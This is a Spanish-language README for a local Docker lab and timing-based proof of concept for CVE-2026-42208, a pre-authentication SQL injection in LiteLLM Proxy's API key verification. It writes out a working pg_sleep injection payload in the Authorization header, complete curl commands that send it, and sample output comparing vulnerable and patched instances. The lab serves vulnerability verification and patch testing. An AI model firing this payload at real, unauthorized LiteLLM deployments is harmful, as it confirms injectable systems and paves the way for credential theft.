
Lab Docker local y prueba de concepto basada en tiempos para CVE-2026-42208, una inyección SQL pre-autenticación en LiteLLM Proxy, que demuestra instancias vulnerables frente a parcheadas.
Laboratorio Docker local y PoC de daño mínimo para CVE-2026-42208, una vulnerabilidad de inyección SQL previa a la autenticación en la ruta de verificación de claves API del proxy LiteLLM.
Este repositorio demuestra la diferencia entre una instancia vulnerable de LiteLLM y una instancia parcheada de LiteLLM utilizando una prueba de tiempo basada en pg_sleep() de PostgreSQL.
Alcance: solo laboratorio local / pruebas autorizadas. El PoC predeterminado no extrae datos de la base de datos ni modifica datos de la base de datos.
CVE-2026-42208 afecta a las versiones 1.81.16 hasta las versiones anteriores a 1.83.7 del proxy LiteLLM.
La vulnerabilidad se activa mediante un encabezado Authorization: Bearer ... manipulado enviado a un endpoint de la API de LiteLLM. En las versiones afectadas, el token proporcionado por el llamador puede llegar a una ruta de consulta SQL durante la verificación de la clave API.
Este laboratorio compara:
| Servicio | Versión | URL | Resultado esperado |
|---|---|---|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | respuesta 401 retrasada |
patched | v1.83.7-stable | http://127.0.0.1:8082 | respuesta 401 rápida |
La prueba utiliza una carga útil similar a:
' OR (SELECT pg_sleep(6)) IS NULL --
Ambos servicios deberían devolver HTTP 401, pero la instancia vulnerable debería tardar unos 6 segundos en responder, mientras que la instancia parcheada debería responder rápidamente.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> LiteLLM vulnerable -> PostgreSQL db-vuln
localhost:8082 -> LiteLLM parcheado -> PostgreSQL db-patched
Los servicios PostgreSQL son servicios Docker internos y no están expuestos al host.
Solo los puertos HTTP de LiteLLM están expuestos:
| Puerto del host | Servicio | Puerto del contenedor |
|---|---|---|
8081 | LiteLLM vulnerable | 4000 |
8082 | LiteLLM parcheado | 4000 |
docker compose up -d --build
Verificar el estado del servicio:
docker compose ps
Estado esperado:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Probar la instancia vulnerable:
python3 poc/poc.py --url http://127.0.0.1:8081
Probar la instancia parcheada:
python3 poc/poc.py --url http://127.0.0.1:8082
--url URL base del objetivo
--path Ruta de la API a probar. Predeterminado: /v1/chat/completions
--sleep Segundos para pg_sleep(). Predeterminado: 6
--rounds Número de rondas de sondeo. Predeterminado: 2
Ejemplos:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Instancia vulnerable:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Instancia parcheada:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Ejemplo de resultado de este laboratorio:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
La observación importante es que ambos servicios devuelven 401, pero solo el servicio vulnerable se retrasa aproximadamente la duración de pg_sleep().
Este repositorio utiliza una prueba de tiempo porque es más segura que extraer datos.
El PoC demuestra que la expresión SQL inyectada se está evaluando observando el retraso en la respuesta. No intenta volcar filas de la base de datos, extraer claves API, modificar registros ni omitir la autenticación.
Servicio vulnerable:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Servicio parcheado:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Comportamiento esperado:
vulnerable -> aproximadamente 6 segundos
patched -> respuesta casi inmediata
docker compose down -v
Esto elimina los contenedores, la red y los volúmenes de PostgreSQL.
Este laboratorio está destinado únicamente a pruebas locales y autorizadas.
No ejecute el PoC contra sistemas que no le pertenezcan o para los que no tenga permiso de prueba.
No utilice claves API reales de proveedores ni credenciales de producción de LiteLLM en este laboratorio.
El PoC predeterminado evita comportamientos destructivos y no extrae el contenido de la base de datos.